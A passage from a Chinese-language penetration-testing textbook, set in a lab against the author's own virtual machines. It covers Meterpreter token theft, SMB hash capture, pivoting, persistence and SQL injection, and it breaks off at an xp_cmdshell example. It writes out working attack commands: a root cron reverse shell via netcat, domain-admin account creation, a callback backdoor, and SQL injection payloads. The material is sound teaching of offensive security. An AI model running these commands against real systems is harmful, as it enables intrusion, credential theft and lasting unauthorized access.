我们在一个被攻破的系统上：我们的 Windows XP 目标。系统上有哪些令牌，我们如何窃取它们？Incognito 最初是一个由安全研究人员开发的独立工具，目的是研究如何利用令牌窃取进行权限提升，但它后来作为扩展被添加到了 Meterpreter 中。Incognito 将帮助我们枚举并窃取系统上的所有令牌。

Incognito 默认不会加载到 Meterpreter 中，但我们可以使用 load 命令将其添加，如下所示。使用当前作为系统运行的 Meterpreter 会话，或使用特权提升来提高访问权限。（System 拥有目标系统上的所有令牌的访问权限。）

meterpreter > **load incognito**
Loading extension incognito...success.

在使用 Incognito 之前，请在 Windows XP 目标上切换用户并以 secret 用户身份登录，密码为 Password123。此登录操作将在目标上创建一个委派令牌供我们冒充。当我们列出令牌时，Incognito 会搜索系统上的所有句柄，以确定哪些属于令牌，使用的是低级的 Windows API 调用。要查看所有 Meterpreter Incognito 可用的用户令牌，请输入命令 list_tokens -u，如示例 13-25 所示。

示例 13-25. 使用 Incognito 枚举令牌

meterpreter > **list_tokens -u**

Delegation Tokens Available
========================================
BOOKXP\georgia
BOOKXP\secret
NT AUTHORITY\LOCAL SERVICE
NT AUTHORITY\NETWORK SERVICE
NT AUTHORITY\SYSTEM

我们看到了 georgia 和 secret 的令牌。让我们尝试窃取 secret 的委派令牌，实质上获得该用户的权限。使用 impersonate_token 命令来窃取令牌，如示例 13-26 所示。（请注意，我们使用两个反斜杠来转义反斜杠，这个反斜杠位于域名——在此情况下是本地机器名——和用户名之间。）

示例 13-26. 使用 Incognito 窃取令牌

meterpreter > **impersonate_token BOOKXP\\secret**
[+] Delegation token available
[+] Successfully impersonated user BOOKXP\secret
meterpreter > **getuid**
Server username: BOOKXP\secret

窃取了 secret 的令牌后，如果我们运行 getuid，我们应该能看到我们实际上现在是用户 secret。这在域中尤为有趣：如果 secret 是域管理员，那么我们现在也成为了域管理员，我们可以做一些事情，比如创建新的域管理员账户或更改域管理员的密码。（我们将在持久化中查看如何通过命令行添加账户。）

SMB 捕获

让我们看一下令牌窃取的另一个有趣后果。在域中，域用户的密码哈希仅存储在域控制器上，这意味着在被利用的系统上运行 hashdump 只会给我们本地用户的密码哈希。我们没有设置域，因此 secret 的密码哈希被存储在本地，但假设 secret 是域用户。让我们看看如何在不访问域控制器的情况下捕获密码哈希，通过将哈希传递给我们控制的 SMB 服务器并记录结果。

打开第二个 Msfconsole 实例，使用模块 auxiliary/server/capture/smb 来设置一个 SMB 服务器并捕获任何身份验证尝试。与我们在第十章中学习的客户端攻击模块类似，这个模块并不会直接攻击其他系统；它只是设置一个服务器并等待。按照示例 13-27 中所示设置模块选项。

示例 13-27. 使用 SMB 捕获模块

msf > **use auxiliary/server/capture/smb**
msf auxiliary(smb) > **show options**
Module options (auxiliary/server/capture/smb):
   Name        Current Setting   Required  Description
   ----        ---------------   --------  -----------
   CAINPWFILE                    no        The local filename to store the hashes in Cain&Abel
                                             format
   CHALLENGE   1122334455667788  yes       The 8 byte challenge
   JOHNPWFILE                    no        The prefix to the local filename to store the hashes
                                             in JOHN format
   SRVHOST     0.0.0.0           yes       The local host to listen on. This must be an address
                                             on the local machine or 0.0.0.0
   SRVPORT     445               yes       The local port to listen on.
   SSL         false             no        Negotiate SSL for incoming connections
   SSLCert                       no        Path to a custom SSL certificate (default is
                                             randomly generated)
   SSLVersion  SSL3              no        Specify the version of SSL that should be used
                                             (accepted: SSL2, SSL3, TLS1)
msf auxiliary(smb) > **set JOHNPWFILE /root/johnfile**❶
JOHNPWFILE => johnfile
msf auxiliary(smb) > **exploit**

你可以将结果保存到 CAINPWFILE 或 JOHNPWFILE，这将以 Cain and Abel 密码工具和 John the Ripper 预期的格式分别保存捕获的哈希值。我们将其设置为 JOHNPWFILE ❶，因为我们在第九章中学习了如何使用 John。

现在返回到你之前在 Meterpreter 会话中冒充 secret 的令牌，并进入 shell，如下所示。由于我们已经窃取了 secret 的令牌，因此这个 shell 应该以 secret 的身份运行。知道委派令牌包含用于与其他系统认证的凭证后，我们将使用 net use Windows 命令尝试与我们伪造的 SMB 捕获服务器进行身份验证。

连接到 Kali SMB 服务器上的任何共享。登录会失败，但攻击已经发生。

meterpreter > **shell**
C:\Documents and Settings\secret>**net use \\192.168.20.9\blah**

返回到你的 SMB 捕获 Msfconsole 窗口，你应该看到你已经捕获到了一组密码哈希值。

[*] SMB Captured - 2015-08-14 15:11:16 -0400
NTLMv1 Response Captured from 192.168.20.10:1078 – 192.168.20.10
USER:secret DOMAIN:BOOKXP OS:Windows 2002 Service Pack 3 2600 LM:Windows 2002 5.1
LMHASH:76365e2d142b5612338deca26aaee2a5d6f3460500532424
NTHASH:f2148557db0456441e57ce35d83bd0a27fb71fc8913aa21c

注释

这个练习可能会有点不稳定，尤其是在没有 Windows 域的情况下。你可能会遇到捕获哈希失败的情况，反而得到类似这样的内容：

[*] SMB Capture - Empty hash captured from 192.168.20.10:1050 - 192.168.20.10 captured, ignoring ...

这是一个常见问题。只需尝试理解这些概念，这样你就可以在部署了 Windows 域的客户端环境中进行尝试。

结果被以正确的格式保存在auxiliary/server/capture/smb的 JOHNPWFILE Metasploit 模块选项中。例如，由于我们将 JOHNPWFILE 设置为/root/johnfile，所以要输入给 John 的文件是/root/johnfile_netntlm。当你将哈希与示例 13-22 中hashdump导出的哈希进行对比时，你会发现secret的哈希值不同。到底发生了什么？事实证明，这些哈希值是用于 NETLM 和 NETNTLM 的，它们与我们在第九章中处理的常规 LM 和 NTLM Windows 哈希有所不同。而当你查看JOHNPWFILE时，你会看到它的格式与我们之前在 John the Ripper 中看到的有所不同。

secret::BOOKXP:76365e2d142b5612338deca26aaee2a5d6f3460500532424:f2148557db0456441e57ce35d83bd0a27fb71fc8913aa21c:1122334455667788

具体来说，哈希条目已经记录了在 Metasploit 中设置的CHALLENGE选项。尽管用户secret在我们的 Windows XP 目标上有一个本地哈希，这可以省去我们破解 NETLM 和 NETNTLM 哈希的麻烦，但这是一个有用的小技巧，当你处理域用户账户时，它可以帮助你抓取密码哈希，因为域用户的密码哈希仅存储在域控制器上。

横向渗透

现在让我们看看能否利用访问一个系统来获得对另一个网络的访问权限。通常情况下，一个组织只有少数几个面向互联网的系统——这些系统通常需要向互联网提供服务，例如 Web 服务器、电子邮件、VPN 等。这些服务可能由如 Google 或 GoDaddy 等提供商托管，也可能是自建的。如果是自建的，通过互联网访问它们可能会让你进入内部网络。理想情况下，它们的内部网络会根据业务单元、敏感性等级等进行分段，以确保访问一台机器并不会直接访问到企业中所有的机器。

注

面向互联网的系统可能是双网接入的，或者是多个网络的成员，即互联网和内部网络。一个安全的最佳实践是将双网接入的系统与敏感的内部网络资源隔离在一个非军事区中，但我曾为一些客户进行渗透测试，他们的面向互联网的系统是其内部域的一部分。我所做的就是利用他们的 Web 应用程序，这个程序的管理员账户有一个默认密码，然后上传一个 PHP shell，就像我们在第八章中对 XAMPP 所做的那样，突然间我就获得了对他们内部域系统的访问权限。希望你们的大多数客户在突破外围防护和访问域之间需要更多的步骤。

当我们在第一章中设置 Windows 7 目标系统时，我们为其配置了两个虚拟网络适配器。我们将一个适配器连接到桥接网络，使其能够与其他目标系统和 Kali 虚拟机通信。另一个虚拟适配器连接到仅主机网络。对于本练习，请将 Windows XP 目标系统切换到仅主机网络，这样 Kali 系统就无法访问它了。（有关更改虚拟网络设置的更多信息，请参见创建 Windows 7 目标）。

尽管这是一个 Windows 系统，Meterpreter 允许我们使用ifconfig命令查看网络信息。如示例 13-28 所示，Windows 7 目标系统是两个网络的一部分：192.168.20.0/24 网络，它也包括我们的 Kali 系统，以及 172.16.85.0/24 网络，Kali 系统无法访问该网络。

示例 13-28. 双网卡系统的网络信息

meterpreter > **ifconfig**
Interface 11
============
Name         : Intel(R) PRO/1000 MT Network Connection
Hardware MAC : 00:0c:29:62:d5:c8
MTU          : 1500
IPv4 Address : 192.168.20.12
IPv4 Netmask : 255.255.255.0
Interface 23
============
Name         : Intel(R) PRO/1000 MT Network Connection #2
Hardware MAC : 00:0c:29:62:d5:d2
MTU          : 1500
IPv4 Address : 172.16.85.191
IPv4 Netmask : 255.255.255.0

我们不能直接从 Kali 攻击 172.16.85.0 网络中的任何系统。然而，由于我们可以访问 Windows 7 目标系统，我们可以将其用作跳板，或称为枢纽，进一步探索这个第二个网络，如图 13-3 所示。

图 13-3. 通过被利用的系统进行枢纽攻击

在这个阶段，我们可以开始将我们的攻击工具上传到 Windows 7 目标系统，以便对 172.16.85.0 网络进行渗透测试，但这种尝试很可能会被杀毒软件检测到，我们还需要清理留下的痕迹。Metasploit 为我们提供了另一种选择：我们可以通过一个打开的 Metasploit 会话将所有目标网络的流量路由到目标网络。

在 Metasploit 中添加路由

Metasploit 中的route命令告诉 Metasploit 应该将流量路由到哪里。我们不是将流量路由到一个 IP 地址，而是将流量定向到一个特定的开放会话。在这种情况下，我们希望将所有流向 172.16.85.0 网络的流量通过 Windows 7 会话进行路由。Metasploit 中 route 命令的语法为 route add network <subnet mask> <session id>。

msf > **route add 172.16.85.0 255.255.255.0 2**

现在，我们从 Metasploit 发送到 172.16.85.0 网络的任何流量都将自动通过 Windows 7 会话（在我的例子中是会话 2）进行路由。我们可以设置 RHOST 或 RHOSTS 等选项，以便将流量发送到该网络中的系统，Metasploit 将确保流量到达正确的位置。

Metasploit 端口扫描器

在第五章中，我们在信息收集时做的第一件事之一就是使用 Nmap 对目标进行端口扫描。由于我们通过 Metasploit 路由无法使用外部工具，但幸运的是，Metasploit 有一些可以使用的端口扫描模块，例如 scanner/portscan/tcp 模块，它将执行一个简单的 TCP 端口扫描，如示例 13-29 所示。

示例 13-29. 使用 Metasploit 进行端口扫描

msf > **use scanner/portscan/tcp**
msf  auxiliary(tcp) > **show options**
Module options (auxiliary/scanner/portscan/tcp):

   Name         Current Setting  Required  Description
   ----         ---------------  --------  -----------
   CONCURRENCY  10               yes       The number of concurrent ports to check per host
   PORTS       ❶1-10000          yes       Ports to scan (e.g. 22-25,80,110-900)
   RHOSTS                        yes       The target address range or CIDR identifier
   THREADS      1                yes       The number of concurrent threads
   TIMEOUT      1000             yes       The socket connect timeout in milliseconds
msf  auxiliary(tcp) > **set RHOSTS 172.16.85.190**
rhosts => 172.16.85.190
msf  auxiliary(tcp) > **exploit**
[*] 172.16.85.190:25 - TCP OPEN
[*] 172.16.85.190:80 - TCP OPEN
[*] 172.16.85.190:139 - TCP OPEN
[*] 172.16.85.190:135 - TCP OPEN
[*] 172.16.85.190:180 - TCP OPEN
--*snip*--

像往常一样为辅助模块设置 RHOSTS 选项。默认情况下，Metasploit 扫描 1-10000 端口 ❶，不过你可以根据需要更改此选项。

尽管 Metasploit 的端口扫描器没有 Nmap 强大，但我们至少可以看到 SMB 端口是开放的。从这里，我们可以运行 auxiliary/scanner/smb/smb_version 模块，然后使用 check 函数与 windows/smb/ms08_067_netapi 模块一起，带领我们通过跳板利用 MS08-067 漏洞攻击 Windows XP 目标。

通过跳板运行利用代码

由于我们的 Windows XP 和 Kali 系统位于不同的网络上，反向有效载荷对我们的利用无法奏效，因为 Windows XP 目标无法将流量路由回 192.168.20.9。（当然，如果我们的 Kali 系统位于互联网，且我们攻击的内部网络能够路由到互联网，那就不是这种情况了。然而，在这里我们的主机仅网络无法路由到桥接网络。）因此，我们将使用 bind 有效载荷。Metasploit 的 bind 处理器能够轻松通过我们设置的跳板进行路由。windows/meterpreter/bind_tcp 有效载荷将如示例 13-30 所示工作。

示例 13-30. 通过跳板进行利用

msf exploit(handler) > **use windows/smb/ms08_067_netapi**
msf exploit(ms08_067_netapi) > **set RHOST 172.16.85.190**
RHOST => 172.16.85.190
msf exploit(ms08_067_netapi) > **set payload windows/meterpreter/bind_tcp**
payload => windows/meterpreter/bind_tcp
msf exploit(ms08_067_netapi) > **exploit**

我们又进行了一次会话，这次是通过跳板进行的。

Socks4a 和 ProxyChains

通过 Metasploit 进行跳板操作很好，但我们只能使用 Metasploit 模块。或许有办法通过 Metasploit 的跳板代理其他工具？事实上，确实有方法：使用 ProxyChains 工具（它将流量重定向到代理服务器），通过 Metasploit 将我们从其他 Kali 工具发送的流量进行代理。

但首先，我们需要在 Metasploit 中设置一个代理服务器。就像我们在本章前面使用的 SMB 服务器模块来捕获 NETLM 和 NETNTLM 哈希一样，Metasploit 也有一个 Socks4a 代理服务器模块 (auxiliary/server/socks4a)。示例 13-31 展示了如何设置代理服务器。

示例 13-31. 在 Metasploit 中设置 Socks4a 代理服务器

msf > **use auxiliary/server/socks4a**
msf auxiliary(socks4a) > **show options**

Module options (auxiliary/server/socks4a):

   Name     Current Setting  Required  Description
   ----     ---------------  --------  -----------
   SRVHOST  0.0.0.0          yes       The address to listen on
   SRVPORT  1080             yes       The port to listen on.

msf auxiliary(socks4a) > **exploit**
[*] Auxiliary module execution completed
[*] Starting the socks4a proxy server

保留选项为默认设置，但请注意，服务器将监听 1080 端口。

现在我们需要编辑 ProxyChains 的配置文件，文件路径为 /etc/proxychains.conf。在编辑器中向下滚动到文件底部，你应该会看到默认情况下，ProxyChains 被设置为将流量路由到 Tor 网络，如下所示。

# add proxy here ...
# defaults set to "tor"
socks4  127.0.0.1 9050

我们需要将代理值更改为 Metasploit 的监听服务器。将端口 9050（用于 Tor）替换为 1080（用于 Metasploit）。该行现在应该显示为：

socks4  127.0.0.1 1080

保存 ProxyChains 的配置文件。现在，只要我们在工具前加上 proxychains，就可以像在示例 13-32 中所示的那样，从 Metasploit 之外运行工具，如 Nmap，针对我们的 Windows XP 目标。（Metasploit 路由必须仍然处于活动状态，因为 ProxyChains 只是将流量重定向到 Metasploit，后者会通过 pivot 转发流量。）

示例 13-32. 通过 ProxyChains 运行 Nmap

root@kali:~# proxychains nmap -Pn -sT -sV -p 445,446 172.16.85.190
ProxyChains-3.1 (http://proxychains.sf.net)
Starting Nmap 6.40 ( http://nmap.org ) at 2015-03-25 15:00 EDT
|S-chain|-<>-127.0.0.1:1080-<><>-172.16.85.190.165:445-<><>-OK❶
|S-chain|-<>-127.0.0.1:1080-<><>-172.16.85.190:446-<--denied❷
Nmap scan report for 172.16.85.190
Host is up (0.32s latency).
PORT    STATE  SERVICE      VERSION
445/tcp open   microsoft-ds Microsoft Windows XP microsoft-ds
446/tcp closed ddm-rdb
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows

示例 13-32 显示了通过 Pivot 使用 ProxyChains 对 Windows XP 主机运行 Nmap。选项 -Pn 告诉 Nmap 不要尝试通过代理进行 ping 测试。我们从简单的 TCP 连接扫描（-sT）开始，然后运行版本扫描（-sV）。为了简便起见，我将端口限制为 445 和 446，通过 -p 选项指定。我们看到在端口 445 上连接是 OK ❶，但在端口 446 上则是 denied ❷。这很合理，因为 SMB 服务器运行在 445 端口上，而 446 端口没有任何服务在运行。（如果这些内容不熟悉，请参见使用 Nmap 进行端口扫描。）

这只是通过 pivot 运行外部工具的一种方式。虽然这样做会稍微降低速度，但能够访问 Kali 中的其他工具非常有用。

注意

并非所有漏洞都能通过 pivot 进行利用。一般来说，这取决于易受攻击的协议如何工作。另一个需要了解的技术是 SSH 隧道。有关更多信息，请参见我的博客 www.bulbsecurity.com/。

持久性

我们的 Meterpreter 会话的一个优点同时也是一个缺点。因为主机进程完全驻留在内存中，如果它崩溃，我们的 Meterpreter 会话也会随之崩溃，并且如果系统重启，我们将丢失会话。如果我们失去对目标的网络访问，我们的会话可能也会终止。

与其重新利用相同的漏洞或重新发送社会工程学攻击，理想情况下，我们应该有一种方法来在将来恢复访问。持久性方法可以简单到向系统添加一个用户，也可以复杂到内核级 rootkit，甚至隐藏自己，连 Windows API 都无法检测到，几乎无法被察觉。在本节中，我们将介绍一些在目标系统上获得持久性的方法，帮助你为渗透测试打下良好的基础。

添加用户

也许获得持久化的最简单方法是添加一个新用户。能够通过 SSH、RDP 等方式直接登录系统，使得未来可以轻松访问该系统。（与对目标进行的所有其他更改一样，记得在完成渗透测试前删除所有新增的用户账户。）

在 Windows 系统上，使用 net user username password /add 来添加一个新用户，如此处所示。

C:\Documents and Settings\georgia\Desktop> **net user james password /add**
net user james password /add
The command completed successfully.

我们还应该使用命令 net localgroup group username /add 将新用户添加到相关的组中。例如，如果我们想通过远程桌面登录，应该将用户添加到远程桌面用户组。管理员组也是一个很好的选择，如此处所示。

C:\Documents and Settings\georgia\Desktop> **net localgroup Administrators james /add**
net localgroup Administrators james /add
The command completed successfully.

如果你的客户有 Windows 域，可以通过在命令末尾加上 /domain 来将用户添加到域中，并将其添加到域组中（前提是你有足够的权限）。例如，如果你能够窃取一个域管理员的令牌，可以使用以下命令添加一个域管理员账户，从而获得整个域的完全控制。

C:\Documents and Settings\georgia\Desktop> **net user georgia2 password /add /domain**
C:\Documents and Settings\georgia\Desktop> **net group "Domain Admins" georgia2 /add /domain**

在 Linux 目标系统上，我们可以使用 adduser 来添加一个用户账户。理想情况下，我们还应该将新用户添加到 sudoers 组中，以便获得 root 权限。

Metasploit 持久化

Meterpreter 脚本 persistence 会自动创建一个 Windows 后门，使其根据我们创建时使用的选项，在启动、登录等时自动连接回 Metasploit 监听器。persistence 脚本的选项如示例 13-33 所示。

示例 13-33. Meterpreter 持久化脚本

meterpreter > **run persistence -h**
Meterpreter Script for creating a persistent backdoor on a target host.

OPTIONS:

    -A        Automatically start a matching multi/handler to connect to the agent
    -L <opt>  Location in target host where to write payload to, if none %TEMP% will be used.
    -P <opt>  Payload to use, default is windows/meterpreter/reverse_tcp.
    -S        Automatically start the agent on boot as a service (with SYSTEM privileges)
    -T <opt>  Alternate executable template to use
    -U        Automatically start the agent when the User logs on
    -X        Automatically start the agent when the system boots
    -h        This help menu
    -i <opt>  The interval in seconds between each connection attempt
    -p <opt>  The port on the remote host where Metasploit is listening
    -r <opt>  The IP of the system running Metasploit listening for the connect back

如你所见，我们有很多自定义选项可以配置我们的持久化有效载荷。我们可以设置持久化代理在启动时或用户登录时启动。我们可以设置尝试连接处理程序的间隔时间。我们还可以更改代理在目标系统上的写入位置。我们还可以指定远程主机和端口，让代理连接回去。我们甚至可以让 Metasploit 自动设置一个处理程序来接收传入连接。在设置持久化的过程中，Metasploit 必须将持久化代理写入磁盘，因此 Meterpreter 此时不再完全驻留在内存中。当持久化代理在启动时运行（-X）时，一个 Visual Basic 脚本会被上传到 %TEMP% 文件夹，并且在注册表中添加一个程序启动项。当持久化代理在登录时运行（-U）时，过程类似，但注册表项被设置为在登录时运行。当持久化代理以服务方式运行（-S）时，会创建一个 Windows 系统服务，从 %TEMP% 调用 Visual Basic 脚本。

让我们运行 persistence 脚本，如示例 13-34 所示，指示代理在用户登录时连接回我们的 Kali 机器。

示例 13-34. 运行持久化脚本

meterpreter > **run persistence -r 192.168.20.9 -p 2345 -U**
[*] Running Persistence Script
[*] Resource file for cleanup created at /root/.msf4/logs/persistence/BOOKXP_20150814.1154/BOOKXP_20150814.1154.rc
[*] Creating Payload=windows/meterpreter/reverse_tcp LHOST=192.168.20.9 LPORT=2345
[*] Persistent agent script is 614853 bytes long
[+] Persistent Script written to C:\WINDOWS\TEMP\eTuUwezJblFHz.vbs
[*] Executing script C:\WINDOWS\TEMP\eTuUwezJblFHz.vbs
[+] Agent executed with PID 840
[*] Installing into autorun as HKLM\Software\Microsoft\Windows\CurrentVersion\Run\BJkGfQLhXD
[+] Installed into autorun as HKLM\Software\Microsoft\Windows\CurrentVersion\Run\BJkGfQLhXD

运行脚本后，使用 Meterpreter 命令background将 Meterpreter 会话放到后台，并设置一个处理程序以捕捉持久化代理。现在重启 Windows XP 目标机。重启后，以georgia身份登录，你应该会收到另一个 Meterpreter 会话。

注意

如果第一次没有成功，尝试重新启动并再次登录。

创建 Linux cron 作业

在 Windows 和 Linux 系统上，我们可以在特定时间自动启动任务。例如，我们可以设置一个 cron 作业，自动运行 Metasploit 负载，甚至只使用 Netcat 连接回我们。

打开你的 Linux 目标机上的 /etc/crontab 文件。以下这一行将每小时、每天、每月的每十分钟运行一次命令 nc 192.168.20.9 12345 -e /bin/bash，也就是说，每十分钟执行一次。该命令将以 root 权限运行。将这一行添加到 /etc/crontab 文件的末尾。（有关帮助，请参见使用 cron 作业自动化任务。）

*/10 * * * * root nc 192.168.20.9 12345 -e /bin/bash

现在通过输入service cron restart重启 cron 服务。在 Kali 机器上设置 Netcat 监听器，监听端口 12345，并在接下来的十分钟标记时，cron 作业应当运行，你应当在 Netcat 监听器上接收到一个 root shell。

总结

在本章中，我们仅介绍了一些后期利用技巧，几乎只是略微触及了可用的各种有趣工具和技术的表面。我们研究了一些提升权限的方法，针对已被利用的系统进行特权提升。我们还探讨了收集本地信息的方法。我们学习了如何将对一个系统的访问转化为对多个系统的访问，包括通过一个开放会话从一个网络转向另一个网络。最后，我们还介绍了几种使访问变得持久的方法。

第十四章. Web 应用程序测试

虽然自动化扫描工具非常擅长发现 Web 应用程序中的已知漏洞，但许多客户会构建自定义 Web 应用程序。的确，商业产品可以自动化对自定义 Web 应用程序中用户输入字段的攻击，但在发现这些应用程序中的安全问题时，没有什么能替代使用代理的优秀渗透测试员。

像所有软件一样，当输入未正确清理时，Web 应用程序可能会出现问题。例如，当应用程序根据特定用户输入从数据库中提取数据时，应用程序可能会期望输入特定内容，如用户名和密码。如果用户输入特殊内容，试图创建额外的数据库查询，那么他或她可能能够从数据库中窃取数据、绕过身份验证，甚至在底层系统上执行命令。

在本章中，我们将通过使用安装在 Windows 7 目标上的示例 Web 应用程序，来查看如何发现 Web 应用程序中的一些常见漏洞：这是一个简单的书店，具有 Web 应用程序中经常发现的几个安全问题。（安装说明请参见安装附加软件）

使用 Burp Proxy

我们可以使用代理捕获浏览器与 Web 应用程序之间的请求和响应，这样我们就能准确看到传输的数据。Kali Linux 附带了 Burp Suite 的免费版本，这是一款用于 Web 应用程序测试的平台，其中包括代理功能。Burp 还包含其他有用的组件，如 Burp Spider，可以爬取 Web 应用程序的内容和功能，以及 Burp Repeater，它允许你操作并重新发送请求到服务器。现在，我们将专注于 Burp Proxy 选项卡。

要在 Kali Linux 中启动 Burp Suite，请在 Kali 图形界面的左上角点击“应用程序”，然后依次点击 Kali Linux ▸ Web 应用程序 ▸ Web 应用程序模糊测试工具 ▸ burpsuite，如图 14-1 所示。

图 14-1. 在 Kali 中启动 Burp Suite

点击 Proxy 选项卡，如图 14-2 所示。默认情况下，应该选择“拦截开启”按钮，以便 Burp Suite 拦截并捕获所有来自配置为使用 Burp 作为 Web 流量代理的 Web 浏览器的请求。此设置将允许我们查看，甚至修改发送到服务器之前的 Web 请求的详细信息。

图 14-2. Burp Proxy 界面

现在，我们需要告诉 Kali Linux 中的浏览器通过 Burp Suite 来代理 Web 流量。

打开 Iceweasel 浏览器，依次点击编辑 ▸ 首选项 ▸ 高级，并选择网络选项卡。
点击连接右侧的设置。
在图 14-3 所示的连接设置对话框中，选择手动代理配置，并输入 IP 地址127.0.0.1和端口8080。这告诉 Iceweasel 通过本地主机的 8080 端口代理流量，这是 Burp Proxy 的默认端口。

图 14-3. 在 Iceweasel 中设置代理

为确保 Iceweasel 将所有流量通过 Burp Suite 代理，请在 Windows 7 目标机上浏览网址 bookservice：192.168.20.12/bookservice。

连接在浏览器中应该会看起来停滞不前，浏览器和 Burp Suite 应该会亮起，当 bookservice 站点的主页的HTTP GET请求被 Burp Proxy 捕获时，如图 14-4 所示。

图 14-4. 捕获的HTTP GET请求

我们可以看到请求服务器 bookservice 网页的HTTP GET请求的详细信息。

如我们稍后将看到的，我们可以在将请求发送到服务器之前进行更改，但现在我们先通过点击转发按钮将请求（以及任何后续请求）转发出去。返回浏览器后，我们看到服务器已向我们发送了 bookservice 站点的主页，如图 14-5 所示。

图 14-5. Bookservice 站点

接下来让我们尝试注册一个账户（图 14-6）。点击页面左上角的登录，然后通过代理将请求转发到服务器。同样，点击新用户进入注册页面，并将请求转发到服务器。

图 14-6. 注册新账户

输入用户名、密码和电子邮件地址，然后通过点击开始提交请求。请求应该会在 Burp Proxy 中被捕获，如图 14-7 所示。

图 14-7. 捕获的请求

除了查看原始请求外，它读起来有点不友好，你可以点击 Burp Suite 请求窗口顶部的 Params 标签，以更易读的格式显示请求参数，如图 14-8 所示。

图 14-8. 请求参数

例如，新显示的界面显示了用户字段georgia，密码字段password，以及电子邮件字段georgia@bulbsecurity.com。

你可以直接在代理中更改这些字段。例如，如果你在将请求转发到服务器之前，将georgia的密码更改为password1，服务器将把用户georgia的密码设置为password1，因为服务器从未看到浏览器请求原始密码password的请求。

代理允许你查看任何请求到服务器的详细信息。如果在任何时候你不需要代理流量，点击拦截开启将其切换为拦截关闭，并允许流量直接通过服务器，无需用户交互。如果你想捕获某个特定请求，可以将按钮重新打开。

SQL 注入

许多 web 应用将数据存储在后台的 SQL 数据库中。例如，在我们的网络渗透测试中，我们遇到了一个 SQL 数据库，当时我们通过 Windows XP 目标机器上的 XAMPP 安装中的 phpMyAdmin 找到了一个开放的 MySQL 数据库，在利用开放的 phpMyAdmin 一章中提到。然后我们使用 SQL 查询将一个简单的 PHP 命令 Shell 写入 Web 服务器。

我们通常无法直接在网站的后台数据库上执行 SQL 查询。然而，如果开发人员在与数据库交互时未能对用户输入进行消毒处理，你可能会发现可以执行SQL 注入攻击来操控发送到数据库的查询。成功的 SQL 注入攻击可以从数据库读取数据、修改数据、关闭或销毁数据库，甚至在某些情况下在底层操作系统上执行命令（这尤其强大，因为数据库服务器通常以特权用户身份运行）。

查找 SQL 注入问题的自然地方是登录页面。许多 web 应用将用户数据存储在数据库中，因此我们可以使用 SQL 查询根据用户提供的用户名和密码拉取正确的用户信息。当开发人员未消毒用户输入时，我们可以构造 SQL 查询来攻击数据库。以下是一个攻击者可能利用的可注入 SQL 语句示例：

SELECT id FROM users WHERE  username='$username' AND password='$password';

如果攻击者提供了用户名' OR '1'='1，而用户密码为' OR '1'='1，会发生什么？SQL 语句会变成：

SELECT username FROM users WHERE username='' or '1'='1' AND password='' or '1'='1'

因为OR '1'='1'始终为真，这个SELECT语句现在会返回用户表中的第一个用户名，无论用户名和密码是什么。

如我们将在 XPath 注入中看到的那样，应用程序使用了 XPath，这是一种用于 XML 文档的查询语言，它是通过与 XML 文件而非数据库进行身份验证，尽管注入过程相似。然而，我们的应用程序确实使用了 SQL 数据库来存储商店中可用书籍的记录，当我们在主页上选择一本书时，其详细信息是从 MS SQL 后端数据库中提取的。例如，点击网站上第一本书《Don’t Make Me Think》的更多详情链接，请求的 URL 为：

http://192.168.20.12/bookservice/bookdetail.aspx?**id=1**

本书的详细信息是基于从数据库查询返回的记录（ID 为 1）的结果填写的。

测试 SQL 注入漏洞

典型的 SQL 注入漏洞首次测试方法是使用单引号闭合 SQL 查询。如果存在 SQL 注入漏洞，添加该引号应该会导致应用程序抛出 SQL 错误，因为查询在底层代码中已经闭合，额外的单引号会导致 SQL 语法错误。该错误将告诉我们，我们可以使用 id 参数向网站的数据库注入 SQL 查询。

让我们尝试通过发送带有 id 参数为 1’ 的查询来验证此情况，如下所示。

http://192.168.20.12/bookservice/bookdetail.aspx?id=1'

正如预期的那样，应用程序返回了一个错误页面，指出我们的 SQL 语法不正确，如图 14-9 所示。

图 14-9. 应用程序识别到 SQL 错误。

特别需要注意的是，SQL 查询中的“字符串后缺少引号”这一信息。

注意

并非所有容易受到 SQL 注入攻击的应用程序都会详细显示错误信息。事实上，有一类称为盲 SQL 注入漏洞，其中即使存在注入缺陷，错误信息也不会显示出来。

利用 SQL 注入漏洞

现在我们知道该网站存在 SQL 注入漏洞，我们可以利用这个漏洞对数据库执行开发者未曾预料的其他查询。例如，我们可以通过以下查询来查找第一个数据库的名称：

http://192.168.20.12/bookservice/bookdetail.aspx?id=2 or 1 in (SELECT DB_NAME(0))--

查询抛出了一个错误信息，转换失败，无法将 nvarchar 值 ‘BookApp’ 转换为 int 数据类型，这告诉我们第一个数据库的名称是 BookApp，如图 14-10 所示。

图 14-10. 显示数据库名称的错误信息

使用 SQLMap

我们还可以使用工具自动生成 SQL 查询，通过 SQL 注入在站点上执行各种任务。我们只需要一个注入点，其它的交给工具处理。例如，示例 14-1 展示了当我们向 Kali 中的 SQLMap 工具提供一个潜在可注入的 URL 时，SQLMap 会测试 SQL 注入漏洞并执行注入查询。

示例 14-1. 使用 SQLMap 转储数据库

root@kali:~# sqlmap -u❶ **"http://192.168.20.12/bookservice/bookdetail.aspx?id=2" --dump**❷
--*snip*--
[21:18:10] [INFO] GET parameter 'id' is 'Microsoft SQL Server/Sybase stacked queries' injectable
--*snip*--
Database: BookApp
Table: dbo.BOOKMASTER
[9 entries]
+--------+---------------+-------+-------+-------------------------------------
| BOOKID | ISBN          | PRICE | PAGES | PUBNAME | BOOKNAME                                                                                             | FILENAME | AUTHNAME | DESCRIPTION

                                     |
+--------+---------------+-------+-------+-------------------------------------
| 1      | 9780470412343 | 11.33 | 140   | Que; 1st edition (October 23, 2000) | Do not Make
Me Think A Common Sense Approach to Web Usability                                        |
4189W8B2NXL.jpg | Steve Krug and Roger Black | All of the tips, techniques, and examples
presented revolve around users being able to surf merrily through a well-designed site
with minimal cognitive strain. Readers will quickly come to agree with many of the books
assumptions, such as We do not read pages--we scan them and We do not figure out how things
work--we muddle through. Coming to grips with such hard facts sets the stage for Web design
that then produces topnotch sites. |
--*snip*--                      |

使用-u选项❶指定要测试的 URL。--dump选项❷会转储数据库的内容——在这个例子中，就是书籍的详细信息。

我们还可以使用 SQLMap 尝试获取底层系统的命令 Shell 访问权限。MS SQL 数据库包含一个名为xp_cmdshell的存储过程，它可以为我们提供命令 Shell 访问权限，但通常是禁用的。幸运的是，SQLMap 会尝试重新启用它。示例 14-2 展示了我们如何使用 SQLMap 在站点的底层 Windows 7 目标系统上获得命令 Shell。

示例 14-2. 通过 SQL 注入访问xp_cmdshell

